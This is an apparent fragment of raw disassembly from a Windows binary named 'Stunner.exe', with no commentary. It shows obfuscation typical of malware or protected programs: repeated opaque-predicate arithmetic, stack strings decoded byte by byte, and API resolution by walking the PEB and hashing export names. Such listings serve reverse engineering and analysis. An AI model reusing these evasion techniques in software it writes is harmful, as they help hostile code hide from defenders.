add edx, eax
je 0x14004ba3c
mov ebx, r15d
jmp 0x14004bada
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004bad3
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004bada
mov ebx, dword [rsp + 0x1678]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004bf0a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1f10], xmm0
movups xmmword [rsp + 0x1f20], xmm0
movups xmmword [rsp + 0x1f30], xmm0
movups xmmword [rsp + 0x1f40], xmm0
movups xmmword [rsp + 0x1f50], xmm0
movups xmmword [rsp + 0x1f60], xmm0
movups xmmword [rsp + 0x1f70], xmm0
mov qword [rsp + 0x1f80], rax
lea rcx, [rsp + 0x1f10]
call fcn.14005c7d0
nop
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004bc6f
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004bc6f
mov eax, r15d
jmp 0x14004bd0d
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004bd06
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14004bd0d
mov eax, dword [rsp + 0x1678]
cmp r12d, eax
jge 0x14004bd30
lea r8, [rsp + 0x26d0]
lea rdx, [rsp + 0x19c8]
lea rcx, [rsp + 0x1f10]
call fcn.14005c6b0
nop
lea rcx, [rsp + 0x1f10]
call fcn.14005c6e0
jmp 0x14004bf0a
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov eax, esi
imul eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004be39
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004be39
mov eax, r15d
jmp 0x14004bed7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004bed0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14004bed7
mov eax, dword [rsp + 0x1678]
cmp r12d, eax
jge 0x14004bf0a
movzx edx, byte [rsp + 0x1670]
lea rcx, [rsp + 0x19c8]
call fcn.140002460
nop
xor r8d, r8d
lea rdx, [0x140073888]
lea rcx, [rsp + 0x19c8]
call fcn.140002480
nop
lea rcx, [rsp + 0x19e8]
call sym.Stunner.exe_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_iat_void_
nop
mov byte [rsp + 0xd40], 0xcc
mov byte [rsp + 0xd41], 0xcd
mov byte [rsp + 0xd42], 0xca
mov byte [rsp + 0xd43], 0xcb
mov byte [rsp + 0xd44], 0xc8
mov byte [rsp + 0xd45], 0xc9
mov byte [rsp + 0xd46], 0xc6
mov byte [rsp + 0xd47], 0xc7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xd48], xmm0
mov qword [rsp + 0xd58], rax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x20
jae 0x14004bfd7
movabs rbx, 0x5574338f4f949922
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0xd40]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0x12
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xd40], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x20
jb 0x14004bf90
mov rax, qword [rsp + 0xd40]
mov qword [rsp + 0x1588], rax
mov byte [rsp + 0xd20], 0x56
mov byte [rsp + 0xd21], 0x51
mov byte [rsp + 0xd22], 0x50
mov byte [rsp + 0xd23], 0x53
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xd24], xmm0
mov dword [rsp + 0xd34], eax
mov word [rsp + 0xd38], ax
mov byte [rsp + 0xd3a], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x1b
jae 0x14004c08b
movabs rbx, 0x7f80b42ab5f45a33
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0xd20]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x65
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xd20], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1b
jb 0x14004c044
movsxd rax, dword [rsp + 0xd20]
mov qword [rsp + 0x16c8], rax
mov byte [rsp + 0xc60], 0x94
mov byte [rsp + 0xc61], 0x84
mov byte [rsp + 0xc62], 0x8f
mov byte [rsp + 0xc63], 0x93
mov byte [rsp + 0xc64], 0xc4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xc65], xmm0
mov dword [rsp + 0xc75], eax
mov byte [rsp + 0xc79], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x1a
jae 0x14004c147
movabs rbx, 0x122120ebbaf751e0
nop dword [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0xc60]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x20
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xc60], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1a
jb 0x14004c100
mov rbx, qword [0x14007d060]
test rbx, rbx
jne 0x14004c32a
mov r11d, r12d
mov r10d, 0xaabbdfbf
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14004c1e0
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x7179644
cmp rcx, r8
je 0x14004c1d7
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x14004c1c0
cmp edx, r11d
jne 0x14004c2fd
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14004c2fd
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14004c2fd
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r15 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x7179644
test al, al
je 0x14004c269
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14004c250
cmp ecx, r10d
je 0x14004c278
test r8d, r8d
jne 0x14004c220
jmp 0x14004c2fd
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
cmp rbx, rdi
jbe 0x14004c2a4
lea rax, [rdi + r12]
cmp rbx, rax
jae 0x14004c2a4
mov al, 1
jmp 0x14004c2a6
xor al, al
test al, al
je 0x14004c5de
mov r11d, 0x7179644
mov r10d, r11d
movzx eax, byte [rbx]
cmp al, 0x2e
je 0x14004c2d7
nop
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rbx
movzx eax, byte [rbx]
cmp al, 0x2e
jne 0x14004c2c0
inc rbx
movzx eax, byte [rbx]
cmp al, 0
je 0x14004c2f9
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rbx, [rbx + 1]
movzx eax, byte [rbx]
test al, al
jne 0x14004c2e1
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x14004c313
cmp qword [rax + 0x30], 0
je 0x14004c313
mov al, 1
jmp 0x14004c315
xor al, al
test al, al
jne 0x14004c180
xor r12d, r12d
mov ebx, r12d
mov qword [0x14007d060], rbx
lea r8, [rsp + 0xc60]
lea rdx, [rsp + 0x16c8]
lea rcx, [rsp + 0x1588]
call rbx
mov esi, eax
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004d29f
mov byte [rsp + 0xb20], 6
mov byte [rsp + 0xb21], 5
mov byte [rsp + 0xb22], 4
mov byte [rsp + 0xb23], 3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xb24], xmm0
mov qword [rsp + 0xb34], rax
mov word [rsp + 0xb3c], ax
mov byte [rsp + 0xb3e], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x1f
jae 0x14004c437
movabs r8, 0xd71a4c75fdc69601
nop dword [rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xb20]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 7
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xb20], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1f
jb 0x14004c3f0
cmp esi, dword [rsp + 0xb20]
jne 0x14004c51c
mov byte [rsp + 0xae0], 0x2c
mov byte [rsp + 0xae1], 0x2d
mov byte [rsp + 0xae2], 0x2a
mov byte [rsp + 0xae3], 0x2b
mov byte [rsp + 0xae4], 0x28
mov byte [rsp + 0xae5], 0x29
mov byte [rsp + 0xae6], 0xd6
mov byte [rsp + 0xae7], 0xd7
xor eax, eax
mov qword [rsp + 0xae8], rax
mov dword [rsp + 0xaf0], eax
mov word [rsp + 0xaf4], ax
mov byte [rsp + 0xaf6], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x17
jae 0x14004c507
movabs r8, 0xa89a1bcd5f675d7a
nop
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xae0]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x56
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xae0], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x17
jb 0x14004c4c0
mov rax, qword [rsp + 0xae0]
cmp qword [rsp + 0x1588], rax
mov rdx, r12
jne 0x14004c521
mov edx, 1
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004c5e6
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004c5e6
mov r15d, 7
mov ebx, r15d
jmp 0x14004c687
xor r12d, r12d
jmp 0x14004c323
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004c67a
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004c681
mov ebx, dword [rsp + 0x1678]
mov r15d, 7
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004c965
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004c7c8
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004c7c8
mov eax, r15d
jmp 0x14004c863
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004c85c
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14004c863
mov eax, dword [rsp + 0x1678]
cmp r12d, eax
jge 0x14004d29f
mov byte [rsp + 0xa20], 0x45
mov byte [rsp + 0xa21], 0xf5
mov byte [rsp + 0xa22], 0x87
mov byte [rsp + 0xa23], 0x8e
mov byte [rsp + 0xa24], 0xf4
mov byte [rsp + 0xa25], 0x40
mov byte [rsp + 0xa26], 0x66
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xa27], xmm0
mov word [rsp + 0xa37], ax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x19
jae 0x14004c91a
movabs r8, 0x4538b0b3505d4b0
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xa20]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x30
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xa20], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x19
jb 0x14004c8d3
movzx edx, byte [rsp + 0x1670]
lea rcx, [rsp + 0x1aa8]
call fcn.140002460
nop
lea rax, [rsp + 0xa20]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14004c940
lea rdx, [rsp + 0xa20]
lea rcx, [rsp + 0x1aa8]
call fcn.140002480
nop
jmp 0x14004d29f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004d29f
call fcn.1400037a0
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.140003780
movsx edx, byte [0x14007d2e0]
imul edx, ebx
lea ebx, [rdx + rdx*4]
sub ebx, edi
movsx edx, byte [0x14007c0dc]
movsx ecx, al
lea eax, [rbx + rdx]
add eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004ca99
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004ca99
mov ebx, r15d
jmp 0x14004cb37
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004cb30
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004cb37
mov ebx, dword [rsp + 0x1678]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
movsx ecx, al
mov eax, edi
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004cfd8
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004cc25
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
jne 0x14004cc90
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004cc90
movzx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
call fcn.140003790
call fcn.140003760
call fcn.140003750
movzx eax, byte [reloc.OLEAUT32.dll_VariantClear]
movzx eax, byte [0x14007c0db]
movsd xmm0, qword [rsp + 0x50]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*4]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004d29f
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
